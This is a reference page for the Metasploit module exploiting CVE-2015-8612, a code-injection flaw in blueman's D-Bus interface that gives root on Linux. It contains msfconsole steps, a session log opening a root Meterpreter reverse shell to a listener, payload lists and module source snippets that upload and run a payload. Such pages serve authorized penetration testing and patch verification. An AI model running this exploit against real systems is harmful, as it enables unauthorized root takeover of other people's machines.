blueman set_dhcp_handler D-Bus Privilege Escalation - Metasploit
This page contains detailed information about how to use the exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: blueman set_dhcp_handler D-Bus Privilege Escalation
Module: exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc
Source code: modules/exploits/linux/local/blueman_set_dhcp_handler_dbus_priv_esc.rb
Disclosure date: 2015-12-18
Last modification time: 2020-09-18 11:38:43 +0000
Supported architecture(s): x86, x64, armle, aarch64, ppc, mipsle, mipsbe
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2015-8612
This module attempts to gain root privileges by exploiting a
Python code injection vulnerability in blueman versions
prior to 2.0.3. The org.blueman.Mechanism.EnableNetwork
D-Bus interface exposes the set_dhcp_handler
function
which uses user input in a call to eval
, without
sanitization, resulting in arbitrary code execution as root.
This module has been tested successfully with blueman
version 1.23 on Debian 8 Jessie (x64).
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.
msf > use exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc
msf exploit(blueman_set_dhcp_handler_dbus_priv_esc) > show targets
... a list of targets ...
msf exploit(blueman_set_dhcp_handler_dbus_priv_esc) > set TARGET target-id
msf exploit(blueman_set_dhcp_handler_dbus_priv_esc) > show options
... show and set options ...
msf exploit(blueman_set_dhcp_handler_dbus_priv_esc) > set SESSION session-id
msf exploit(blueman_set_dhcp_handler_dbus_priv_esc) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Description
This module attempts to gain root privileges by exploiting a Python code injection vulnerability in blueman versions prior to 2.0.3.
The org.blueman.Mechanism.EnableNetwork
D-Bus interface exposes the
set_dhcp_handler
function which uses user input in a call to eval
,
without sanitization, resulting in arbitrary code execution as root.
This module has been tested successfully with blueman version 1.23 on Debian 8 Jessie (x64).
Vulnerable Application
This module has been tested successfully with:
- blueman version 1.23 on Debian 8 Jessie (x64)
Old versions of the blueman
package are available in Debian snapshots.
The following /etc/apt/sources.list
configuration will allow a vulnerable
version of the blueman
package to be installed:
deb [check-valid-until=no] http://snapshot.debian.org/archive/debian/20140827T042507Z/ jessie main
deb-src [check-valid-until=no] http://snapshot.debian.org/archive/debian/20140827T042507Z/ jessie main
Update the package sources with apt-get -o Acquire::Check-Valid-Until=false update
The package can be installed with apt-get install blueman
Verification Steps
- Start
msfconsole
- Get a session
use exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc
set SESSION [SESSION]
check
run
- You should get a new root session
Options
SESSION
Which session to use, which can be viewed with sessions
WritableDir
A writable directory file system path. (default: /tmp
)
Scenarios
msf5 > use exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc
msf5 exploit(linux/local/blueman_set_dhcp_handler_dbus_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/blueman_set_dhcp_handler_dbus_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf5 exploit(linux/local/blueman_set_dhcp_handler_dbus_priv_esc) > set lhost 172.16.191.188
lhost => 172.16.191.188
msf5 exploit(linux/local/blueman_set_dhcp_handler_dbus_priv_esc) > run
[*] Started reverse TCP handler on 172.16.191.188:4444
[*] Writing '/tmp/.DKJWL0TG7sm0M5' (249 bytes) ...
[*] Executing payload...
[*] Sending stage (861348 bytes) to 172.16.191.156
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.156:58863) at 2018-12-24 02:44:25 -0500
[+] Deleted /tmp/.DKJWL0TG7sm0M5
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : debian-8-1-x64.local
OS : Debian 8.1 (Linux 3.16.0-4-amd64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the linux/local/blueman_set_dhcp_handler_dbus_priv_esc exploit module looks in the msfconsole:
msf6 > use exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc
[*] No payload configured, defaulting to linux/aarch64/meterpreter/reverse_tcp
msf6 exploit(linux/local/blueman_set_dhcp_handler_dbus_priv_esc) > show info
Name: blueman set_dhcp_handler D-Bus Privilege Escalation
Module: exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc
Platform: Linux
Arch: x86, x64, armle, aarch64, ppc, mipsle, mipsbe
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2015-12-18
Provided by:
Sebastian Krahmer
bcoles <[email protected]>
Available targets:
Id Name
-- ----
0 Auto
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload information:
Description:
This module attempts to gain root privileges by exploiting a Python
code injection vulnerability in blueman versions prior to 2.0.3. The
`org.blueman.Mechanism.EnableNetwork` D-Bus interface exposes the
`set_dhcp_handler` function which uses user input in a call to
`eval`, without sanitization, resulting in arbitrary code execution
as root. This module has been tested successfully with blueman
version 1.23 on Debian 8 Jessie (x64).
References:
http://www.securityfocus.com/bid/79688
https://nvd.nist.gov/vuln/detail/CVE-2015-8612
https://twitter.com/thegrugq/status/677809527882813440
https://github.com/blueman-project/blueman/issues/416
https://www.openwall.com/lists/oss-security/2015/12/18/6
https://www.debian.org/security/2015/dsa-3427
https://bugs.mageia.org/show_bug.cgi?id=17361
http://www.slackware.com/security/viewer.php?l=slackware-security&y=2015&m=slackware-security.421085
Module Options
This is a complete list of options available in the linux/local/blueman_set_dhcp_handler_dbus_priv_esc exploit:
msf6 exploit(linux/local/blueman_set_dhcp_handler_dbus_priv_esc) > show options
Module options (exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload options (linux/aarch64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Auto
Advanced Options
Here is a complete list of advanced options supported by the linux/local/blueman_set_dhcp_handler_dbus_priv_esc exploit:
msf6 exploit(linux/local/blueman_set_dhcp_handler_dbus_priv_esc) > show advanced
Module advanced options (exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
ForceExploit false no Override check result
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
WritableDir /tmp yes A directory where we can write files
Payload advanced options (linux/aarch64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/local/blueman_set_dhcp_handler_dbus_priv_esc module can exploit:
msf6 exploit(linux/local/blueman_set_dhcp_handler_dbus_priv_esc) > show targets
Exploit targets:
Id Name
-- ----
0 Auto
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/blueman_set_dhcp_handler_dbus_priv_esc exploit:
msf6 exploit(linux/local/blueman_set_dhcp_handler_dbus_priv_esc) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/aarch64/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
6 payload/linux/aarch64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
7 payload/linux/aarch64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
8 payload/linux/aarch64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
9 payload/linux/aarch64/shell/reverse_tcp normal No Linux dup2 Command Shell, Reverse TCP Stager
10 payload/linux/aarch64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
11 payload/linux/armle/exec normal No Linux Execute Command
12 payload/linux/armle/meterpreter/bind_tcp normal No Linux Meterpreter, Bind TCP Stager
13 payload/linux/armle/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
14 payload/linux/armle/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
15 payload/linux/armle/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
16 payload/linux/armle/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
17 payload/linux/armle/shell/bind_tcp normal No Linux dup2 Command Shell, Bind TCP Stager
18 payload/linux/armle/shell/reverse_tcp normal No Linux dup2 Command Shell, Reverse TCP Stager
19 payload/linux/armle/shell_bind_tcp normal No Linux Command Shell, Reverse TCP Inline
20 payload/linux/armle/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
21 payload/linux/mipsbe/exec normal No Linux Execute Command
22 payload/linux/mipsbe/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
23 payload/linux/mipsbe/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
24 payload/linux/mipsbe/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
25 payload/linux/mipsbe/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
26 payload/linux/mipsbe/reboot normal No Linux Reboot
27 payload/linux/mipsbe/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
28 payload/linux/mipsbe/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
29 payload/linux/mipsbe/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
30 payload/linux/mipsle/exec normal No Linux Execute Command
31 payload/linux/mipsle/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
32 payload/linux/mipsle/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
33 payload/linux/mipsle/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
34 payload/linux/mipsle/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
35 payload/linux/mipsle/reboot normal No Linux Reboot
36 payload/linux/mipsle/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
37 payload/linux/mipsle/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
38 payload/linux/mipsle/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
39 payload/linux/ppc/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
40 payload/linux/ppc/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
41 payload/linux/ppc/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
42 payload/linux/ppc/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
43 payload/linux/ppc/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
44 payload/linux/ppc64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
45 payload/linux/ppc64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
46 payload/linux/ppc64le/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
47 payload/linux/ppc64le/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
48 payload/linux/ppc64le/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
49 payload/linux/ppce500v2/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
50 payload/linux/ppce500v2/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
51 payload/linux/ppce500v2/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
52 payload/linux/x64/exec normal No Linux Execute Command
53 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
54 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
55 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
56 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
57 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
58 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
59 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
60 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
61 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
62 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
63 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
64 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
65 payload/linux/x86/chmod normal No Linux Chmod
66 payload/linux/x86/exec normal No Linux Execute Command
67 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
68 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
69 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
70 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
71 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
72 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
73 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
74 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
75 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
76 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
77 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
78 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
79 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
80 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
81 payload/linux/x86/read_file normal No Linux Read File
82 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
83 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
84 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
85 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
86 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
87 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
88 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
89 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
90 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
91 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
92 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
93 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
94 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
95 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/local/blueman_set_dhcp_handler_dbus_priv_esc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/local/blueman_set_dhcp_handler_dbus_priv_esc) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
- dbus-send is not installed. Exploitation will fail.
- org.blueman.Mechanism.EnableNetwork D-Bus interface is not available
- Target is not vulnerable
- Session already has root privileges. Set ForceExploit to override.
- <BASE_DIR> is not writable
- The target is not vulnerable
- SyntaxError
- Payload execution failed due to syntax error
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
dbus-send is not installed. Exploitation will fail.
Here is a relevant code snippet related to the "dbus-send is not installed. Exploitation will fail." error message:
84: cmd_exec "dbus-send --system --print-reply --dest=#{dest} --type=#{type} #{path} #{interface} #{contents}"
85: end
86:
87: def check
88: unless command_exists? 'dbus-send'
89: vprint_error 'dbus-send is not installed. Exploitation will fail.'
90: return CheckCode::Safe
91: end
92: vprint_good 'dbus-send is installed'
93:
94: res = dbus_send(
org.blueman.Mechanism.EnableNetwork D-Bus interface is not available
Here is a relevant code snippet related to the "org.blueman.Mechanism.EnableNetwork D-Bus interface is not available" error message:
98: interface: 'org.freedesktop.DBus.Introspectable.Introspect',
99: contents: ''
100: )
101:
102: unless res.include? 'EnableNetwork'
103: vprint_error 'org.blueman.Mechanism.EnableNetwork D-Bus interface is not available'
104: return CheckCode::Safe
105: end
106: vprint_good 'org.blueman.Mechanism.EnableNetwork D-Bus interface is available'
107:
108: res = execute_python('')
Target is not vulnerable
Here is a relevant code snippet related to the "Target is not vulnerable" error message:
105: end
106: vprint_good 'org.blueman.Mechanism.EnableNetwork D-Bus interface is available'
107:
108: res = execute_python('')
109: unless res.include? 'eval("nc.set_dhcp_handler(%s)" % dhcp_handler)'
110: vprint_error 'Target is not vulnerable'
111: return CheckCode::Safe
112: end
113:
114: CheckCode::Vulnerable
115: end
Session already has root privileges. Set ForceExploit to override.
Here is a relevant code snippet related to the "Session already has root privileges. Set ForceExploit to override." error message:
125: end
126:
127: def exploit
128: if is_root?
129: unless datastore['ForceExploit']
130: fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
131: end
132: end
133:
134: unless writable? base_dir
135: fail_with Failure::BadConfig, "#{base_dir} is not writable"
<BASE_DIR> is not writable
Here is a relevant code snippet related to the "<BASE_DIR> is not writable" error message:
130: fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
131: end
132: end
133:
134: unless writable? base_dir
135: fail_with Failure::BadConfig, "#{base_dir} is not writable"
136: end
137:
138: payload_name = ".#{rand_text_alphanumeric 10..15}"
139: payload_path = "#{base_dir}/#{payload_name}"
140: upload_and_chmodx payload_path, generate_payload_exe
The target is not vulnerable
Here is a relevant code snippet related to the "The target is not vulnerable" error message:
142: print_status 'Executing payload...'
143: res = execute_python "os.system(\"#{payload_path}&\")"
144: vprint_line res
145:
146: unless res.include? 'eval("nc.set_dhcp_handler(%s)" % dhcp_handler)'
147: fail_with Failure::NotVulnerable, 'The target is not vulnerable'
148: end
149:
150: if res.include? 'SyntaxError:'
151: fail_with Failure::Unknown, 'Payload execution failed due to syntax error'
152: end
SyntaxError
Here is a relevant code snippet related to the "SyntaxError" error message:
144: vprint_line res
145:
146: unless res.include? 'eval("nc.set_dhcp_handler(%s)" % dhcp_handler)'
147: fail_with Failure::NotVulnerable, 'The target is not vulnerable'
148: end
149:
150: if res.include? 'SyntaxError:'
151: fail_with Failure::Unknown, 'Payload execution failed due to syntax error'
152: end
153: end
154: end
Payload execution failed due to syntax error
Here is a relevant code snippet related to the "Payload execution failed due to syntax error" error message:
144: vprint_line res
145:
146: unless res.include? 'eval("nc.set_dhcp_handler(%s)" % dhcp_handler)'
147: fail_with Failure::NotVulnerable, 'The target is not vulnerable'
148: end
149:
150: if res.include? 'SyntaxError:'
151: fail_with Failure::Unknown, 'Payload execution failed due to syntax error'
152: end
153: end
154: end
Go back to menu.
Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_file
method - #15540 Merged Pull Request: Add option for running
cmd_execute
in a subshell - #15303 Merged Pull Request: Fix
dir
method for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
- BID-79688
- CVE-2015-8612
- https://twitter.com/thegrugq/status/677809527882813440
- https://github.com/blueman-project/blueman/issues/416
- https://www.openwall.com/lists/oss-security/2015/12/18/6
- https://www.debian.org/security/2015/dsa-3427
- https://bugs.mageia.org/show_bug.cgi?id=17361
- http://www.slackware.com/security/viewer.php?l=slackware-security&y=2015&m=slackware-security.421085
See Also
Check also the following modules related to this module:
- auxiliary/dos/dhcp/isc_dhcpd_clientid
- exploit/unix/dhcp/bash_environment
- exploit/unix/dhcp/rhel_dhcp_client_command_injection
- exploit/linux/local/af_packet_packet_set_ring_priv_esc
- exploit/linux/local/netfilter_nft_set_elem_init_privesc
- exploit/linux/local/lastore_daemon_dbus_priv_esc
- exploit/linux/local/polkit_dbus_auth_bypass
- exploit/linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec
- exploit/linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec
- exploit/linux/http/netgear_dgn1000b_setup_exec
- exploit/linux/http/netgear_dgn1000_setup_unauth_exec
- exploit/linux/http/webcalendar_settings_exec
- exploit/linux/samba/setinfopolicy_heap
- auxiliary/server/dhcp
- exploit/unix/http/pihole_dhcp_mac_exec
- auxiliary/dos/http/metasploit_httphandler_dos
- exploit/multi/handler
- exploit/multi/http/hp_sitescope_uploadfileshandler
- exploit/windows/browser/notes_handler_cmdinject
- auxiliary/analyze/modbus_zip
- auxiliary/scanner/scada/modbus_banner_grabbing
- auxiliary/scanner/scada/modbusclient
- auxiliary/scanner/scada/modbusdetect
- auxiliary/scanner/scada/modbus_findunitid
Related Nessus plugins:
- Debian DSA-3427-1 : blueman - security update
- Slackware 13.37 / 14.0 / 14.1 / current : blueman (SSA:2015-356-01)
Authors
- Sebastian Krahmer
- bcoles
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.